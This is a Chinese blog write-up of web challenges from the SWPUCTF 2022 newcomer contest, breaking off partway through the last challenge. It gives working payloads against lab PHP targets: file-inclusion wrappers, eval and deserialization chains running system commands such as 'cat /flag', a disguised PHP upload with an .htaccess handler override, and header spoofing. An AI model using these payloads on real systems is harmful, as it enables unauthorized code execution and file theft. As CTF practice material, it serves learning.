首页 > 其他分享 >[SWPUCTF 2022 新生赛]部分WP

[SWPUCTF 2022 新生赛]部分WP

时间:2022-12-04 17:33:48浏览次数:35  
标签:string SWPUCTF int decode flag 2022 WP print txt

目录

WEB

1.funny_web

先试试随便填写一点内容,然后显示:用户名是实验室名哦~
得知是 NSS
再次提交后显示:听说密码是招新群某位的QQ
第一时间就想到了我们的谢队的QQ~2122693401

于是进入rea11y.php来到第一道题

<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
    $num = $_GET['num'];
    if ($num != '12345') {
        if (intval($num) == '12345') {
            echo $FLAG;
        }
    } else {
        echo "这为何相等又不相等";
    }
}

首先$num != '12345'这里是弱比较
其次还要截断intval()
于是想到了用一些手段 来截断intval()函数
当向intval()传入的参数,不是int时,会返回1

然后手写payload
于是可以写成以下形式

?num=12345/

或者

?num=12345\

等一些符号
最后得到flag,提交。

2.奇妙的MD5

直接搜索 可曾听过ctf 中一个奇妙的字符串

奇妙的字符串

查到ffifdyop为万能sql注入密码

提交后,转到c0nt1nue.phpF12查看网页源码

<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
    ;
-->

这里的md5(\(x) == md5(\)y)为弱比较,随便找两个0e开头的字符串

手写payload并提交

?x=QNKCDZO&y=240610708

转到f1na11y.php

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
    echo $FLAG;
}

这里直接用数组绕过

手写payload并POST

wqh[]=1&dsy[]=0

最后得到flag

奇妙的md5

3.where_am_i

根据提示:什么东西是11位啊?

盲猜是手机号之类的

但额外还有一张配图,试试把它丢进某度搜索

where am i_search

依次查找,最后在这篇文章里找到了所在的位置

where am i_locate

where am i_position

所以这张图所在地址是锦江区暑袜北一街145号,然后再次利用某度搜索

where am i_phone

确定了我们要输入的11位数就是这个电话号码02886112888,提交,得到flag

where am i_ending

4.ez_ez_php

先分析一下代码

<?php
error_reporting(0);
if (isset($_GET['file'])) {
  if ( substr($_GET["file"], 0, 3) === "php" ) {
    echo "Nice!!!";
    include($_GET["file"]);
  } 

  else {
    echo "Hacker!!";
  }
}else {
  highlight_file(__FILE__);
}
//flag.php

这里很明显是要用php伪协议:php://filter

构造payload

?file=php://filter/resource=flag.php

ez_php_fake_php

提示real_flag_is_in_'flag'

再次提交payload

?file=php://filter/resource=flag

得到flag

ez_php_flag

非预期解

复现的时候发现可以直接访问flag

ez_php_dir

5.webdog1__start

启动靶机显示内容为:

**Do you really reading to start be a web dog? **

DO you think you go here from where?

are you readying to start?

根据暗示,可以猜测是要访问 start.php,果然有内容,但是暂时似乎没有什么可用内容,那先返回看看有没有其它线索。

web_dog

但是在主页查看网页源代码后会发现有这样一段

<!--
if (isset($_GET['web']))
{
    $first=$_GET['web'];
    if ($first==md5($first)) 
     
-->

搜索到0e215962017的md5值为0e291242476940776845150308577824,那么就提交这个。

但是发现提交后也是跳转到start.php,只能说明和上面的hint是同一条路线。

那就继续看看start.php里面是不是有什么线索漏掉了?

打开Burp,发现响应头里有个hint

web_dog_start_1

尝试访问f14g.php,嗯,被耍了

web_dog_start_f14g

但是再到Burp里看,这次的hint指向了F1l1l1l1l1lag.phpweb_dog_start_2

访问后得到如下代码

<?php
error_reporting(0);


highlight_file(__FILE__);



if (isset($_GET['get'])){
    $get=$_GET['get'];
    if(!strstr($get," ")){
        $get = str_ireplace("flag", " ", $get);
        
        if (strlen($get)>18){
            die("This is too long.");
            }
            
            else{
                eval($get);
          } 
    }else {
        die("nonono"); 
    }

}


    

?>

首先,这里对参数get作了长度限制,并且要过滤掉flag字符串,如果要输入的指令太长,并且还要输入flag,那么就想,能不能让指向另外一个参数呢?

先测试这个想法能不能通过,于是构造如下payload

?get=eval($_GET['A']);&A=die("01234567890123456789我是flag我是flag");

web_dog_final

很明显这个长度已经远超18的限制,并且flag字符串也没被过滤掉,那就证明了这个思路是正确的。

那么先尝试查看一下当前目录有什么文件呢,让他执行一下ls

?get=eval($_GET['A']);&A=system('ls');

![web_dog_final_2](D:\CTF Tools\SWPU NSS新生赛 2022\web_images\web_dog_final_2.jpg)

发现一个flag.php,那试试cat flag.php?

?get=eval($_GET['A']);&A=system('cat flag.php');

web_dog_final_3

但是很遗憾,没回显,说明这个flag.php是假的

那么尝试一下搜索查看一下根目录有没有

?get=eval($_GET['A']);&A=system('ls /');

![web_dog_final_4](D:\CTF Tools\SWPU NSS新生赛 2022\web_images\web_dog_final_4.jpg)

发现根目录下有一个flag,现在再尝试用cat /flag

?get=eval($_GET['A']);&A=system('cat /flag');

web_dog_flag

得到flag,本题结束

6.Ez_upload

先随便传一个文件试试

ez_upload_wtf

传不进去,那就打开Burp看看

ez_upload_burp

先把文件内容删除试试,再提交看看

ez_upload_burp_1

发现成功上传了,那试试传一个phpinfo();

<?php phpinfo();?>

ez_upload_burp_2

不正确,那先不用php的文件后缀名再试试呢?

ez_upload_burp_3

这里没有再提示文件后缀名的问题,而是另外一个提示。说明很有可能是过滤了<?的前缀,那就不能用<?php >这种表达方式,于是就换一个,用<script

上传如下语句

<script language="php">phpinfo();</script>

然后就发现上传成功了,打开指定目录下的文件也确实存在这个语句。

ez_upload_burp_4

ez_upload_zm

但现在问题是,这个文件名后缀是.zm,是不会执行里面的代码的,那么我们就要想办法让它识别成php代码运行起来

这里先引用一下别人写的一个东西

什么是htaccess文件

.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时,.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。

.htaccess文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。


所以,这里再上传一个.htaccess文件,让它能够把.zm文件识别成.php文件并运行

AddType application/x-httpd-php .zm

ez_upload_burp_5

成功上传,现在再次访问之前上传的aaa.zm就能运行上传的php代码了,然后找到flag,本题结束。

ez_upload_flag

7.numgame

打开靶机你能发现的第一件事情是,调到20会变成-20(???)

第二件事情是,你会发现按F12打不开开发者工具,鼠标右键菜单也摁不出来

先说第二个事情,因为这个好解决,那就是:除了按F12,你还可以按Shift+Ctrl+I。但很遗憾的是,这样操作并不行,那就直接打开选项菜单启动开发者工具

numgame_start

可能你会觉得不太好看,那这个时候你就可以按Ctrl+U开启全屏浏览体验

numgame_2

可以很清楚地看到,这个网页的脚本是定位在./js/1.js,继续追查得到如下代码

var input = $('input'),
    input_val = parseInt(input.val()),
    btn_add = $('.add'),
    btn_remove = $('.remove');

input.keyup(function() {
    input_val = parseInt(input.val())
});

btn_add.click(function(e) {
    input_val++;
    input.val(input_val);
    console.log(input_val);
    if(input_val==18){
        input_val=-20;
        input.val(-20);

    }
});

btn_remove.click(function(e) {
    input_val--;
    input.val(input_val);
});
// NSSCTF{TnNTY1RmLnBocA==}

结尾NSSCTF{TnNTY1RmLnBocA==}用base64解码得到NsScTf.php

<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
    static function ctf(){
        include("./hint2.php");
    }
}
if(isset($_GET['p'])){
    if (preg_match("/n|c/m",$_GET['p'], $matches))
        die("no");
    call_user_func($_GET['p']);
}else{
    highlight_file(__FILE__);
}

首先注意到的是call_user_func()这个函数

但是,要知道php是不区分大小写的,假设在这里传入的是字符串,那字面量没法解析

于是构造payload

?p=Nss::Ctf

得到结果

numgame_3

但是他说是nss2,那就再改

?p=Nss2::Ctf

于是得到flag,本题结束。

numgame_flag

8.ez_ez_php(revenge)

与第4题ez_ez_php同理,这里不再多赘述

ez_ez_php_reverge

9.ez_rec

打开靶机:真的什么都没有吗?

直接先御剑一顿乱扫,扫出个robots.txt,打开又指向了/NSS/index.php/

web_dog_robots.txt

ez_rec_robots

继续,随后是ThinkPHP V5.0(?)

ez_rec_index

立马想到用个第三方工具来找,我这里用的是ThinkphpGUI By 莲花

ez_rec_GUI

先试试用find命令来找一下flag在哪

find / -name flag*

ez_rec_GUI_ls

然后一看,那肯定是/nss/ctf/flag/flag

那就直接用cat命令来显示flag就行了

cat /nss/ctf/flag/flag

![ez_rec_GUI_flag](D:\CTF Tools\SWPU NSS新生赛 2022\web_images\ez_rec_GUI_flag.jpg)

得到flag,本题结束。

10.1z_unserialize

启动靶机,网页代码如下

<?php
 
class lyh{
    public $url = 'NSSCTF.com';
    public $lt;
    public $lly;
     
     function  __destruct()
     {
        $a = $this->lt;

        $a($this->lly);
     }
    
    
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
 
 
?> 

分析一下代码,就是一个很简单的序列化

这里lt就是要执行的函数,lly是要传给函数的参数

手写一个payload,先看一下目录里面有些啥

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:2:"ls";}

ez_unserilize_start

回显只有index.php

看来似乎得想别的办法,试试搜索一下flag呢

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:18:"find / -name flag*";}

ez_unserilize_find

发现flag在根目录下,那就直接让它显示出来

nss=O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

ez_unserilize_flag

找到flag,本题结束。

11.xff

打开靶机显示Must be accessed from Xiaohong's own computer.

先用hackbar添加X-Forwarded-For127.0.0.1

返回显示Must be jump from Home Page.

再次利用hackbar添加Referer127.0.0.1

轻松得到flag

xff

12.js_sign

启动靶机,打开开发者工具发现指向了main.js,打开后分析

document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
    flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
    if (btoa(flag.value) == 'dGFwY29kZQ==') {
        alert("you got hint!!!");
    } else {
        alert("fuck off !!");
    }    
})

dGFwY29kZQ==解码后得到提示:tapcode

网上实在是没找到合适的tapcode解码工具,于是我去找了一张tapcode对照表

tapcode对照表

按照对照表手动翻译了一遍,得到结果:

NSSCTFYOUFINDFLAGBYTAPCODE

按照平台格式要求,最终flag为NSSCTF{youfindflagbytapcode}

13.ez_ez_unserialize

启动靶机,源码如下

<?php
class X
{
    public $x = __FILE__;
    function __construct($x)
    {
        $this->x = $x;
    }
    function __wakeup()
    {
        if ($this->x !== __FILE__) {
            $this->x = __FILE__;
        }
    }
    function __destruct()
    {
        highlight_file($this->x);
        //flag is in fllllllag.php
    }
}
if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}

根据分析,这道题要绕过__wakeup()

众所周知,当序列化成员数大于实际成员数时,__wakeup()不会执行

于是构造出的payload如下

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

ez_ez_unserialize_12

得到flag,提交,本题结束。

14.funny_php

分析代码,看着是挺多的,其实仔细看完会发现是很简单的一道题。

<?php
    session_start();
    highlight_file(__FILE__);
    if(isset($_GET['num'])){
        if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
            echo ":D";
            $_SESSION['L1'] = 1;
        }else{
            echo ":C";
        }
    }
    if(isset($_GET['str'])){
        $str = preg_replace('/NSSCTF/',"",$_GET['str']);
        if($str === "NSSCTF"){
            echo "wow";
            $_SESSION['L2'] = 1;
        }else{
            echo $str;
        }
    }
    if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
        if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
            echo "Nice!";
            if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
                if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
                    echo "yoxi!";
                    $_SESSION['L3'] = 1;
                }else{
                    echo "X(";
                }
            }
        }else{
            echo "G";
            echo $_POST['md5_1']."\n".$_POST['md5_2'];
        }
    }
    if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
        include('flag.php');
        echo $flag;
    }

    
?>

看完后也就是说,要同时满足L1、L2、L3都存在,那就一个一个的分析好了。

先看L1,既要长度小于3,又要数据大于999999999,怎么会有这么奇怪的逻辑判断,不讲武德直接数组绕过

?num[]=0

funny_php_L1

回显

标签:string,SWPUCTF,int,decode,flag,2022,WP,print,txt
From: https://www.cnblogs.com/zackmount/p/16950246.html

相关文章